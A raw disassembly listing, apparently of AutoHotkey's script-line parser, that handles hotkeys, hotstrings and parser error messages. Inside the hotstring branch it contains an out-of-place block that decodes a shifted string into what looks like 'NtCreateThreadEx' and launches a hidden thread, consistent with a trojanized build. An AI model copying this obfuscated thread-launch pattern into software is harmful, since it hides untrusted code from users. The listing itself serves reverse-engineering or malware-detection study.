mov dword [ebp - 0x64], eax
mov dword [ebp - 0x5c], 1
jmp 0x418dae
cmp dword [edi + 0x48], 0
je 0x418eec
mov esi, ebx
mov edi, edi
movzx eax, byte [esi]
test eax, 0xffffff80
jne 0x418c4c
push 0x107
push eax
call fcn.0048708c
add esp, 8
test eax, eax
jne 0x418c5a
mov al, byte [esi]
cmp al, 0x5f
je 0x418c5a
cmp al, 0x7f
ja 0x418c5a
cmp al, 0x2e
jne 0x418c5d
inc esi
jmp 0x418c30
cmp esi, ebx
jbe 0x418d41
mov al, byte [esi]
cmp al, 0x20
je 0x418c6f
cmp al, 9
jne 0x418c72
inc esi
jmp 0x418c65
mov al, byte [esi]
cmp al, 0x3a
jne 0x418c95
cmp byte [esi + 1], 0x3d
jne 0x418c95
push 0
push ebx
mov ecx, edi
call fcn.0041fde0
test eax, eax
je 0x419c8e
jmp 0x418dae
test al, al
je 0x418caf
cmp al, 0x5b
je 0x418caf
cmp al, 0x7b
jne 0x418d41
cmp byte [esi + 1], 0
jne 0x418d41
mov ecx, ebx
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418cb4
sub ecx, edx
cmp byte [ecx + ebx - 1], 0x7b
sete al
mov byte [ebp - 0x1d], al
test al, al
je 0x418d18
dec ecx
cmp byte [ebx], 0
je 0x418d18
cmp ecx, 0xffffffff
jne 0x418ce9
mov ecx, ebx
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x418ce0
sub ecx, edx
lea eax, [ebx - 1]
add eax, ecx
mov edi, edi
mov cl, byte [eax]
cmp cl, 0x20
je 0x418cfc
cmp cl, 9
jne 0x418d03
cmp eax, ebx
je 0x418d09
dec eax
jmp 0x418cf0
mov byte [eax + 1], 0
jmp 0x418d18
mov cl, byte [eax]
cmp cl, 0x20
je 0x418d15
cmp cl, 9
jne 0x418d18
mov byte [eax], 0
lea edx, [ebp - 0x4394]
mov ecx, ebx
sub edx, ebx
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x418d22
mov eax, dword [edi + 0x170]
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x5c], 2
jmp 0x418dae
push 6
push str.Static
push ebx
call fcn.0048616d
add esp, 0xc
test eax, eax
jne 0x418d77
mov al, byte [ebx + 6]
cmp al, 0x20
je 0x418d60
cmp al, 9
jne 0x418d77
push 1
lea eax, [ebx + 7]
mov ecx, edi
push eax
call fcn.0041fde0
test eax, eax
je 0x419c8e
jmp 0x418dae
cmp byte [ebx], 0x23
jne 0x419b6d
mov esi, dword [edi + 0x170]
mov ecx, edi
push ebx
call fcn.0041a0d0
test eax, eax
je 0x419c8e
cmp eax, 3
jne 0x419b6d
mov eax, dword [ebp - 0x74]
mov dword [edi + 0x16c], eax
mov dword [edi + 0x170], esi
mov dl, byte [ebp + 0xb]
test dl, dl
je case.0x418dd1.4
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
dec eax
cmp eax, 9
ja case.0x418dd1.4
movzx eax, byte [eax + 0x419d94]
jmp dword [eax*4 + 0x419d80]
lea eax, [ebp - 0x184]
push eax
push str._s::
push ebx
call fcn.00485e6d
jmp 0x418ee6
mov ax, word [0x4a0a08]
mov ecx, edi
cmp byte [ebp - 0x2d], 0
mov word [ebx], ax
mov al, byte [0x4a0a0a]
mov byte [ebx + 2], al
lea eax, [ebp - 0x58]
push 0
push 1
push eax
setne al
add al, 0xc1
movzx eax, al
push eax
call fcn.0041d740
cmp byte [ebp - 0x4f], 0
je 0x418e40
lea eax, [ebp - 0x164]
push eax
push str.if_not_GetKeyState___s__
push ebx
call fcn.00485e6d
mov dword [ebp - 0x70], 9
jmp 0x418ee6
mov dl, byte [ebp + 0xb]
mov ecx, 0x49e065
cmp dl, 0x12
je 0x418e55
mov al, dl
add al, 0x5c
cmp al, 1
ja 0x418e74
movzx eax, byte [ebp - 0x41]
sub eax, 0x11
je 0x418e6f
sub eax, 0x91
je 0x418e6f
dec eax
jne 0x418e74
mov ecx, str.RCtrl_up
jmp 0x418e74
mov ecx, str.LCtrl_up
lea eax, [ebp - 0x164]
mov dword [edi + 0x370], 0
push eax
lea eax, [ebp - 0xcc]
push eax
push ecx
push str.Blind_s_s_s_DownR
push ebx
call fcn.00485e6d
add esp, 0x14
lea eax, [ebp - 0x58]
mov ecx, edi
push 0
push 1
push eax
push 0x41
call fcn.0041d740
test eax, eax
je 0x419c8e
push 0
push 0
push 0
push 0x67
mov ecx, edi
call fcn.0041d740
lea eax, [ebp - 0x184]
mov dword [edi + 0x370], 0
push eax
push str._s_up::
push ebx
call fcn.00485e6d
mov dword [ebp - 0x70], 2
add esp, 0xc
mov dword [ebp - 0x28], eax
xor eax, eax
xor esi, esi
cmp byte [ebx], 0x3a
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x78], esi
jne 0x418f77
mov al, byte [ebx + 1]
test al, al
je 0x418f77
cmp al, 0x3a
je 0x418f30
lea edi, [ebx + 1]
push 0x3a
push edi
mov dword [ebp - 0x8c], edi
call fcn.00486ac4
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x418f6f
inc ebx
mov dword [ebp - 0x3c], ebx
jmp 0x418f3e
cmp byte [ebx + 2], 0
lea eax, [ebx + 2]
je 0x418f77
mov ebx, eax
mov dword [ebp - 0x3c], eax
test ebx, ebx
je 0x418f74
mov esi, ebx
mov al, byte [esi]
test al, al
je 0x418f64
lea ebx, [ebx]
cmp al, byte [str.___e]
je 0x418fc8
cmp al, 0x3a
je 0x418fc8
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x418f50
mov edi, dword [ebp - 0x78]
test edi, edi
jne 0x41907f
xor eax, eax
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x18]
push 0x4a1c10
push ebx
call fcn.00486b76
mov edi, eax
add esp, 8
test edi, edi
je 0x41978b
cmp edi, ebx
jne 0x418f9a
cmp byte [edi + 2], 0x3a
jne 0x418f9a
inc edi
mov esi, edi
cmp edi, ebx
jbe 0x418faf
mov al, byte [esi]
cmp al, 0x20
je 0x418faa
cmp al, 9
jne 0x418faf
dec esi
cmp esi, ebx
ja 0x418fa0
mov bl, byte [esi]
mov ecx, dword [ebp - 0x18]
mov byte [esi], 0
mov al, byte [ecx]
cmp al, 0x20
je 0x418fc5
cmp al, 9
jne 0x41904f
inc ecx
jmp 0x418fb7
mov al, byte [esi]
test al, al
je 0x418f64
lea edi, [esi + 1]
cmp al, 0x3a
jne 0x418fe8
cmp byte [edi], al
jne 0x419049
mov dword [ebp - 0x78], esi
mov esi, edi
inc esi
jmp 0x418f44
movsx eax, byte [edi]
add eax, 0xffffff9f
cmp eax, 0x15
ja case.0x418ffa.99
movzx eax, byte [eax + 0x419dc0]
jmp dword [eax*4 + 0x419da0]
mov byte [edi], 7
jmp case.0x418ffa.99
mov byte [edi], 8
jmp case.0x418ffa.99
mov byte [edi], 0xc
jmp case.0x418ffa.99
mov byte [edi], 0xa
jmp case.0x418ffa.99
mov byte [edi], 0xd
jmp case.0x418ffa.99
mov byte [edi], 9
jmp case.0x418ffa.99
mov byte [edi], 0xb
mov ecx, edi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x419027
sub ecx, edx
lea eax, [ecx + 1]
push eax
push edi
push esi
call fcn.00486480
add esp, 0xc
cmp byte [esi], 0x3a
jne 0x419049
cmp byte [edi], 0x3a
cmove esi, edi
inc esi
jmp 0x418f44
push 0
xor edx, edx
call fcn.0040ce40
add esp, 4
mov dword [ebp - 0xe0], eax
test eax, eax
je 0x419070
cmp eax, 4
je 0x419c8e
jmp 0x419072
xor edi, edi
mov byte [esi], bl
test edi, edi
je 0x419788
mov ebx, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x18]
cmp edi, esi
jbe 0x419788
mov eax, dword [0x4ac1d8]
mov ecx, dword [ebp - 0x1c]
cmp dword [eax + 0x94], 0
jne 0x419be3
mov eax, dword [ecx + 4]
test eax, eax
je 0x4190af
cmp byte [eax], 0x1a
je 0x419b81
mov byte [edi], 0
add edi, 2
mov dword [ebp - 0x78], edi
test ebx, ebx
jne 0x4194df
cmp byte [edi], bl
je 0x4190fa
mov ecx, edi
mov al, byte [ecx]
cmp al, 0x20
je 0x4190d0
cmp al, 9
jne 0x4190d3
inc ecx
jmp 0x4190c6
mov eax, ecx
sub eax, edi
je 0x4190fa
mov edx, ecx
lea esi, [edx + 1]
mov edi, edi
mov al, byte [edx]
inc edx
test al, al
jne 0x4190e0
sub edx, esi
lea eax, [edx + 1]
push eax
push ecx
push edi
call fcn.00486480
mov esi, dword [ebp - 0x18]
add esp, 0xc
cmp byte [edi], 0
mov dword [ebp - 0x6c], edi
je 0x4194df
mov al, byte [edi + 1]
test al, al
je 0x419248
mov esi, dword [ebp - 0x60]
xor cl, cl
mov ebx, edi
xor dl, dl
lea ebx, [ebx]
cmp al, 0x20
je case.0x41913e.34
movsx eax, byte [ebx]
add eax, 0xffffffdf
cmp eax, 0x5d
ja case.0x41913e.34
movzx eax, byte [eax + 0x419df8]
jmp dword [eax*4 + 0x419dd8]
mov dl, 1
jmp case.0x41913e.36
mov cl, 1
jmp case.0x41913e.36
test dl, dl
jne 0x419163
test cl, cl
jne 0x419167
or esi, 1
jmp case.0x41913e.36
test cl, cl
je 0x419173
mov al, byte [ebp - 0x11]
or al, 4
xor cl, cl
mov byte [ebp - 0x11], al
jmp 0x419176
mov al, byte [ebp - 0x11]
test dl, dl
je case.0x41913e.36
or al, 8
jmp 0x4191fe
test dl, dl
jne 0x419195
test cl, cl
jne 0x419199
or esi, 2
jmp case.0x41913e.36
test cl, cl
je 0x4191a5
mov al, byte [ebp - 0x11]
or al, 1
xor cl, cl
mov byte [ebp - 0x11], al
jmp 0x4191a8
mov al, byte [ebp - 0x11]
test dl, dl
je case.0x41913e.36
or al, 2
jmp 0x4191fe
test dl, dl
jne 0x4191bd
test cl, cl
jne 0x4191c1
or esi, 4
jmp case.0x41913e.36
test cl, cl
je 0x4191cd
mov al, byte [ebp - 0x11]
or al, 0x10
xor cl, cl
mov byte [ebp - 0x11], al
jmp 0x4191d0
mov al, byte [ebp - 0x11]
test dl, dl
je case.0x41913e.36
or al, 0x20
jmp 0x4191fe
test dl, dl
jne 0x4191e5
test cl, cl
jne 0x4191e9
or esi, 8
jmp case.0x41913e.36
test cl, cl
je 0x4191f5
mov al, byte [ebp - 0x11]
or al, 0x40
xor cl, cl
mov byte [ebp - 0x11], al
jmp 0x4191f8
mov al, byte [ebp - 0x11]
test dl, dl
je case.0x41913e.36
or al, 0x80
xor dl, dl
mov byte [ebp - 0x11], al
mov al, byte [ebx + 2]
inc ebx
test al, al
jne 0x419120
mov dword [ebp - 0x60], esi
mov dword [ebp - 0x60], esi
mov dword [ebp - 0x60], esi
push 0
mov dword [ebp - 0x60], esi
mov dword [ebp - 0x6c], ebx
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push eax
push ecx
push 0
xor edx, edx
mov ecx, ebx
call fcn.004134c0
mov esi, dword [ebp - 0x18]
mov bh, al
add esp, 0xc
mov byte [ebp + 0xb], bh
test bh, bh
je 0x4194dc
jmp 0x41924e
or bh, 0xff
mov byte [ebp + 0xb], bh
cmp byte [esi], 0
je 0x419354
mov eax, dword [ebp - 0x18]
xor cl, cl
xor dl, dl
lea edi, [eax + 1]
mov al, byte [edi]
test al, al
je 0x419351
mov bh, byte [ebp - 0x13]
mov edi, edi
cmp al, 0x20
je case.0x41928e.34
movsx eax, byte [esi]
add eax, 0xffffffdf
cmp eax, 0x5d
ja case.0x41928e.34
movzx eax, byte [eax + 0x419e78]
jmp dword [eax*4 + 0x419e58]
mov dl, 1
jmp case.0x41928e.36
mov cl, 1
jmp case.0x41928e.36
test dl, dl
jne 0x4192b4
test cl, cl
jne 0x4192b8
or dword [ebp - 0x54], 1
jmp case.0x41928e.36
test cl, cl
je 0x4192bd
or bh, 4
xor cl, cl
test dl, dl
je case.0x41928e.36
or bh, 8
jmp 0x419324
test dl, dl
jne 0x4192d4
test cl, cl
jne 0x4192d8
or dword [ebp - 0x54], 2
jmp case.0x41928e.36
test cl, cl
je 0x4192dd
or bh, 1
xor cl, cl
test dl, dl
je case.0x41928e.36
or bh, 2
jmp 0x419324
test dl, dl
jne 0x4192f4
test cl, cl
jne 0x4192f8
or dword [ebp - 0x54], 4
jmp case.0x41928e.36
test cl, cl
je 0x4192fd
or bh, 0x10
xor cl, cl
test dl, dl
je case.0x41928e.36
or bh, 0x20
jmp 0x419324
test dl, dl
jne 0x419314
test cl, cl
jne 0x419318
or dword [ebp - 0x54], 8
jmp case.0x41928e.36
test cl, cl
je 0x41931d
or bh, 0x40
xor cl, cl
test dl, dl
je case.0x41928e.36
or bh, 0x80
xor dl, dl
mov esi, edi
mov al, byte [esi + 1]
lea edi, [esi + 1]
test al, al
jne 0x419270
mov byte [ebp - 0x13], bh
mov byte [ebp - 0x13], bh
mov byte [ebp - 0x13], bh
mov byte [ebp - 0x13], bh
mov byte [ebp - 0x13], bh
mov byte [ebp - 0x13], bh
mov byte [ebp - 0x13], bh
mov byte [ebp - 0x13], bh
mov bh, byte [ebp + 0xb]
mov edi, dword [ebp - 0x78]
push 0
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push eax
push ecx
push 0
xor edx, edx
mov ecx, esi
call fcn.004134c0
add esp, 0xc
mov byte [ebp - 0x41], al
push 0x4a0c7c
push esi
call fcn.00486b76
add esp, 8
test eax, eax
mov al, byte [ebp - 0x41]
setne bl
lea ecx, [eax - 1]
cmp cl, 5
ja 0x419391
cmp al, 3
jne 0x419397
add al, 0x66
cmp al, 5
ja 0x41939b
mov cl, 1
jmp 0x41939d
xor cl, cl
mov al, bh
sub al, 1
cmp al, 5
ja 0x4193aa
cmp bh, 3
jne 0x4193b2
mov al, bh
add al, 0x66
cmp al, 5
ja 0x4193b6
mov al, 1
jmp 0x4193b8
xor al, al
mov byte [ebp - 0x2d], al
test cl, cl
jne 0x4193c7
mov byte [ebp - 0x4f], 1
test al, al
jne 0x4193cb
mov byte [ebp - 0x4f], 0
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4193d0
sub ecx, edx
cmp ecx, 1
jne 0x4193f1
movzx eax, byte [esi]
push eax
call dword [sym.imp.USER32.dll_IsCharUpperA]
test eax, eax
mov eax, 0x4a1d40
jne 0x4193f6
mov eax, 0x49e065
push dword [ebp - 0x18]
test bl, bl
mov ecx, 0x4a1b48
push eax
mov eax, 0x49e065
cmove eax, ecx
push eax
push str._s_s_s
lea eax, [ebp - 0x184]
push 0x20
push eax
call fcn.00472ab0
mov ebx, dword [ebp - 0x6c]
lea eax, [ebp - 0x164]
push 0x1f
push ebx
push eax
call fcn.00488ae0
add esp, 0x24
mov byte [ebp - 0x145], 0
lea eax, [ebp - 0xcc]
push 7
push edi
push eax
call fcn.00488ae0
sub ebx, edi
mov byte [ebp - 0xc5], 0
add esp, 0xc
cmp ebx, 8
jae 0x419461
mov byte [ebp + ebx - 0xcc], 0
xor eax, eax
mov dword [ebp - 0x70], eax
cmp byte [ebp - 0xcc], al
jne 0x4194b4
mov dl, byte [ebp + 0xb]
movzx eax, dl
add eax, 0xfffffff3
cmp eax, 0x52
ja case.0x419487.14
movzx eax, byte [eax + 0x419ee8]
jmp dword [eax*4 + 0x419ed8]
mov dl, byte [edi]
mov esi, edi
test dl, dl
je 0x4194b4
mov ecx, 0x4a0f10
mov al, 0x20
lea ecx, [ecx]
cmp dl, al
je case.0x419487.19
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x4194a0
mov dl, byte [esi + 1]
inc esi
test dl, dl
jne 0x419496
mov ebx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x1c]
jmp 0x418dae
lea eax, [ebp - 0x164]
push str.Return
push eax
call fcn.004855c8
add esp, 8
test eax, eax
jne 0x4194b4
xor al, al
mov byte [ebp + 0xb], al
mov ebx, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x1c]
cmp byte [esi + 0x174], 0
je 0x419516
push 0
push 0xff
push 0
push 0x67
mov ecx, esi
mov byte [esi + 0x174], 0
call fcn.0041d740
test eax, eax
je 0x419c8e
mov dword [esi + 0x370], 0
mov esi, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
push 1
push esi
call fcn.0041b390
test eax, eax
je 0x419c8e
test ebx, ebx
je 0x4195d7
cmp byte [ebx], 0
je 0x419b99
mov eax, dword [ebp - 0x8c]
mov edx, 0x49e065
push 0
push dword [ebp - 0xac]
test eax, eax
push edi
push ebx
mov ebx, dword [ebp - 0x1c]
cmovne edx, eax
push ecx
mov ecx, esp
mov eax, dword [ebx + 0x14]
mov dword [ecx], eax
mov ecx, dword [ebx + 0x14]
mov ecx, dword [ecx + 4]
call fcn.0040e080
add esp, 0x14
test eax, eax
je 0x419c8e
cmp byte [edi], 0
je 0x4194b4
mov ecx, dword [0x4afafc]
mov eax, dword [0x4afb10]
mov eax, dword [ecx + eax*4 - 4]
cmp byte [eax + 0x2d], 0
je 0x4195b6
push 0
push 0
push 0
push 0
push 0
push 0
push edi
mov edi, ebx
mov ecx, edi
call fcn.0041b520
test eax, eax
je 0x419c8e
jmp 0x4195b8
mov edi, ebx
push 0
push 0
push 0
push 0x67
mov ecx, edi
call fcn.0041d740
test eax, eax
je 0x419c8e
mov ebx, dword [ebp - 0x18]
jmp 0x418dae
xor esi, esi
cmp byte [edi], 0
je 0x419693
push str.AltTab
push edi
call fcn.004855c8
add esp, 8
test eax, eax
jne 0x4195fe
mov esi, 0x7ffe
jmp 0x41967b
push str.ShiftAltTab
push edi
call fcn.004855c8
add esp, 8
test eax, eax
jne 0x419617
mov esi, 0x7ffd
jmp 0x41967b
push str.AltTabMenu
push edi
call fcn.004855c8
add esp, 8
test eax, eax
jne 0x419630
mov esi, 0x7ffc
jmp 0x41967b
push str.AltTabAndMenu
push edi
call fcn.004855c8
add esp, 8
test eax, eax
jne 0x419649
mov esi, 0x7ffb
jmp 0x41967b
push str.AltTabMenuDismiss
push edi
call fcn.004855c8
add esp, 8
test eax, eax
jne 0x419662
mov esi, 0x7ffa
jmp 0x41967b
mov ecx, dword [ebp - 0x1c]
xor esi, esi
push esi
push esi
push esi
push esi
push esi
push esi
push edi
call fcn.0041b520
test eax, eax
je 0x419c8e
mov ecx, dword [ebp - 0x1c]
push 0
push 0
push 0
push 0x67
call fcn.0041d740
test eax, eax
je 0x419c8e
mov ebx, dword [ebp - 0x18]
lea eax, [ebp - 0x47]
push eax
lea edx, [ebp - 0xa8]
mov ecx, ebx
call fcn.0040d5e0
mov edi, eax
add esp, 4
test edi, edi
je 0x419715
test si, si
je 0x4196c1
mov word [edi + 6], si
mov edi, dword [ebp - 0x1c]
jmp 0x418dae
mov eax, dword [edi + 0x20]
test eax, eax
je 0x4196e0
mov ecx, dword [0x4af990]
mov edi, edi
cmp dword [eax + 4], ecx
je 0x419bae
mov eax, dword [eax + 8]
test eax, eax
jne 0x4196d0
mov esi, dword [ebp - 0x1c]
mov ecx, edi
push dword [ebp - 0xa8]
push dword [esi + 0x14]
call fcn.0040cd20
test eax, eax
je 0x419bcf
cmp byte [ebp - 0x47], 0
jne 0x41970a
cmp byte [0x4af0fd], 0
je 0x41970e
mov byte [edi + 0x14], 1
mov edi, esi
jmp 0x418dae
mov edi, dword [ebp - 0x1c]
mov edx, esi
push 0
push dword [ebp - 0xa8]
mov ecx, dword [edi + 0x14]
push dword [ecx + 4]
call fcn.0040c690
add esp, 0xc
test eax, eax
jne 0x418dae
cmp dword [ebp - 0xe0], 3
jne 0x419c8e
push ebx
push str.Note:_The_hotkey__s_will_not_be_active_because_it_does_not_exist_in_the_current_keyboard_layout.
lea eax, [ebp - 0x38c]
push 0x204
push eax
call fcn.00472ab0
movsd xmm0, qword [ebp - 0x144]
lea ecx, [ebp - 0x38c]
add esp, 8
mov edx, 0x10000
movsd qword [esp], xmm0
push 0
push 0
call fcn.00477510
add esp, 0x10
jmp 0x418dae
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x28]
cmp byte [esi + ebx - 1], 0x3a
jne 0x419852
cmp esi, 1
je 0x419bf5
mov al, byte [ebx]
mov ecx, ebx
test al, al
je 0x4197dc
mov dl, byte [0x4ac62f]
cmp al, 0x20
je 0x419852
cmp al, 9
je 0x419852
cmp al, dl
je 0x419852
cmp al, byte [str.___e]
je 0x419852
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x4197b0
cmp byte [esi + ebx - 2], 0x3a
jne 0x4197e8
cmp esi, 2
ja 0x419852
dec esi
mov dword [ebp - 0x28], esi
mov ecx, esi
mov byte [esi + ebx], 0
cmp byte [ebx], 0
je 0x419838
cmp esi, 0xffffffff
jne 0x41980a
mov ecx, ebx
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x419801
sub ecx, edx
lea eax, [ebx - 1]
add eax, ecx
nop
mov cl, byte [eax]
cmp cl, 0x20
je 0x41981c
cmp cl, 9
jne 0x419823
cmp eax, ebx
je 0x419829
dec eax
jmp 0x419810
mov byte [eax + 1], 0
jmp 0x419838
mov cl, byte [eax]
cmp cl, 0x20
je 0x419835
cmp cl, 9
jne 0x419838
mov byte [eax], 0
mov edi, dword [ebp - 0x1c]
mov ecx, edi
push 0
push ebx
call fcn.0041b390
test eax, eax
je 0x419c8e
jmp 0x418dae
cmp byte [ebx], 0x23
mov edi, dword [ebp - 0x1c]
jne 0x419879
mov esi, dword [edi + 0x170]
mov ecx, edi
push ebx
call fcn.0041a0d0
test eax, eax
je 0x419c8e
cmp eax, 3
je 0x418d9f
mov al, byte [ebx]
cmp al, 0x7b
je 0x4198a4
cmp al, 0x7d
je 0x4198a4
push 0
push 0
push 0
push 0
push 0
push 0
push ebx
mov ecx, edi
call fcn.0041b520
test eax, eax
je 0x419c8e
jmp 0x418dae
cmp al, 0x7b
mov ecx, edi
push 0
setne al
push 0
add al, 0x73
push 0
movzx eax, al
push eax
call fcn.0041d740
test eax, eax
je 0x419c8e
inc ebx
mov dword [ebp - 0x18], ebx
mov al, byte [ebx]
cmp al, 0x20
je 0x4198d2
cmp al, 9
jne 0x4198d5
inc ebx
jmp 0x4198c8
cmp byte [ebx], 0
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x58], ebx
je 0x418dae
mov edx, ebx
lea ecx, [edx + 1]
lea esp, [esp]
mov al, byte [edx]
inc edx
test al, al
jne 0x4198f0
sub edx, ecx
mov dword [edi + 0x370], 0
mov dword [ebp - 0x28], edx
jmp 0x418890
mov ebx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x1c]
jmp 0x418db1
mov ax, word [0x4a0a08]
mov ecx, edi
cmp byte [ebp - 0x2d], 0
mov word [ebx], ax
mov al, byte [0x4a0a0a]
mov byte [ebx + 2], al
lea eax, [ebp - 0x58]
push 0
push 1
push eax
setne al
add al, 0xc1
movzx eax, al
push eax
call fcn.0041d740
lea eax, [ebp - 0x164]
push eax
push str.Blind_s_Up
push ebx
call fcn.00485e6d
add esp, 0xc
lea eax, [ebp - 0x58]
mov ecx, edi
push 0
push 1
push eax
push 0x41
call fcn.0041d740
push 0
push 0
push 0
push 0x67
mov ecx, edi
call fcn.0041d740
xor al, al
mov byte [ebp + 0xb], al
cmp dword [ebp - 0xb0], 0
jne 0x419a92
movdqu xmm0, xmmword [str._IxkgzkZnxkgjK]
mov al, byte [0x49df84]
lea ecx, [ebp - 0xc4]
mov dword [ebp - 0xb0], 1
lea esi, [ecx + 1]
movdqu xmmword [ebp - 0xc4], xmm0
mov byte [ebp - 0xb4], al
xor edx, edx
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4199c0
sub ecx, esi
test cl, cl
jle 0x4199f2
lea ecx, [ecx]
add byte [ebp + edx - 0xc4], 0xfa
lea ecx, [ebp - 0xc4]
inc edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4199e2
sub ecx, esi
movsx eax, cl
cmp edx, eax
jl 0x4199d0
lea eax, [ebp - 0xc4]
push eax
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push 0
test esi, esi
je 0x419a3f
push 0x10000
push 0x1000
push 0
push 4
push 0
push 0x401d10
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
push 0
push 0x1fffff
push 0x4afb94
call esi
jmp 0x419a57
push 0
push 0
push 0x401d10
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x4afb94], eax
lea ecx, [ebp - 0xc4]
xor edx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x419a62
sub ecx, esi
test cl, cl
jle 0x419a92
nop
add byte [ebp + edx - 0xc4], 6
lea ecx, [ebp - 0xc4]
inc edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x419a82
sub ecx, esi
movsx eax, cl
cmp edx, eax
jl 0x419a70
mov esi, dword [ebp - 0x28]
test esi, esi
je 0x419abb
mov ebx, dword [ebp - 0x7c]
mov ecx, esi
mov edi, dword [ebp - 0xa0]
mov edx, ecx
shr ecx, 2
add edi, ebx
xor eax, eax
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
add ebx, esi
rep stosb byte es:[edi], al
mov dword [ebp - 0x7c], ebx
mov esi, dword [ebp - 0x24]
lea ebx, [ebp - 0xa2dc]
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0xe2e4]
cmp esi, ebx
mov dword [ebp - 0x18], esi
mov edx, ebx
mov dword [ebp - 0x58], esi
mov ebx, dword [ebp - 0x1c]
cmovne eax, edx
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], eax
jmp 0x418064
mov ecx, dword [ebp - 0x1c]
push esi
push str.Continuation_section_too_long.
call fcn.0042e360
mov esi, eax
jmp 0x419cc3
cmp dword [edi + 0x164], 0
lea eax, [ebp - 0x4394]
push eax
mov ecx, str.Not_a_valid_method__class_or_property_definition.
mov eax, 0x4a1c84
cmove eax, ecx
mov ecx, edi
push eax
call fcn.0042e360
mov esi, eax
jmp 0x419cc3
lea eax, [ebp - 0x4394]
mov ecx, edi
push eax
push 0x4a1c84
call fcn.0042e360
mov esi, eax
jmp 0x419cc3
lea eax, [ebp - 0x4394]
push eax
push str.Functions_cannot_contain_functions.
call fcn.0042e360
mov esi, eax
jmp 0x419cc3
push ebx
push str.Not_a_valid_property_getter_setter.
mov ecx, edi
call fcn.0042e360
mov esi, eax
jmp 0x419cc3
push ebx
push str.Not_a_valid_method__class_or_property_definition.
mov ecx, edi
call fcn.0042e360
mov esi, eax
jmp 0x419cc3
push esi
push str.IfWin_should_be_IfWin.
mov dword [ecx + 0x370], eax
call fcn.0042e360
mov esi, eax
jmp 0x419cc3
mov ecx, dword [ebp - 0x1c]
push esi
push str.This_hotstring_is_missing_its_abbreviation.
call fcn.0042e360
mov esi, eax
jmp 0x419cc3
mov eax, dword [ebp - 0x1c]
mov ecx, eax
push ebx
push str.Duplicate_hotkey.
mov dword [eax + 0x370], 0
call fcn.0042e360
mov esi, eax
jmp 0x419cc3
push ebx
push str.Out_of_memory.
mov ecx, esi
call fcn.0042e360
mov esi, eax
jmp 0x419cc3
push esi
push str.Hotkeys_hotstrings_are_not_allowed_inside_functions.
call fcn.0042e360
mov esi, eax
jmp 0x419cc3
mov ecx, dword [ebp - 0x1c]
push ebx
push str.This_line_does_not_contain_a_recognized_action.
call fcn.0042e360
mov esi, eax
jmp 0x419cc3
mov ecx, dword [ebp - 0x1c]
push edi
push str.Continuation_section_too_long.
call fcn.0042e360
mov esi, eax
jmp 0x419cc3
mov ecx, dword [ebp - 0x1c]
push esi
push 0x4a1c54
call fcn.0042e360
mov esi, eax
jmp 0x419cc3
cmp byte [ebp - 0x4394], 0
je 0x419c98
cmp dword [ebp - 0x5c], 0
mov eax, dword [ebp - 0x64]
mov esi, dword [ebx + 0x170]
mov dword [ebx + 0x170], eax
lea eax, [ebp - 0x4394]
je 0x419c76
cmp byte [ebp - 0x1d], 0
mov ecx, 0x4a1c84
push eax
mov eax, str.Missing___
cmove eax, ecx
mov ecx, ebx
push eax
call fcn.0042e360
mov esi, eax
jmp 0x419cc3
push 0
push 0
push 0
push 0
push 0
push 3
push eax
mov ecx, ebx
call fcn.0041b520
test eax, eax
jne 0x419c92
xor esi, esi
jmp 0x419cc3
mov dword [ebx + 0x170], esi
cmp dword [ebx + 0x48], 0
je 0x419cb8
cmp dword [ebp - 0x74], 0
jne 0x419cb8
lea eax, [ebx + 0x60]
mov ecx, ebx
push eax
push str.Missing___
call fcn.0042e360
mov esi, eax
jmp 0x419cc3
inc dword [ebx + 0x170]
mov esi, 1
mov eax, dword [ebp - 0x108]
mov dword [ebp - method.TextMem.virtual_0], vtable.TextMem.0
test eax, eax
je 0x419cf3
cmp byte [ebp - 0x100], 0
je 0x419ce9
push eax
call fcn.004858b4
add esp, 4
mov dword [ebp - 0x108], 0
mov eax, dword [ebp - 0x10c]
mov dword [ebp - method.TextStream.virtual_0], vtable.TextStream.0
test eax, eax
je 0x419d10
push eax
call fcn.004858b4
add esp, 4
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0xc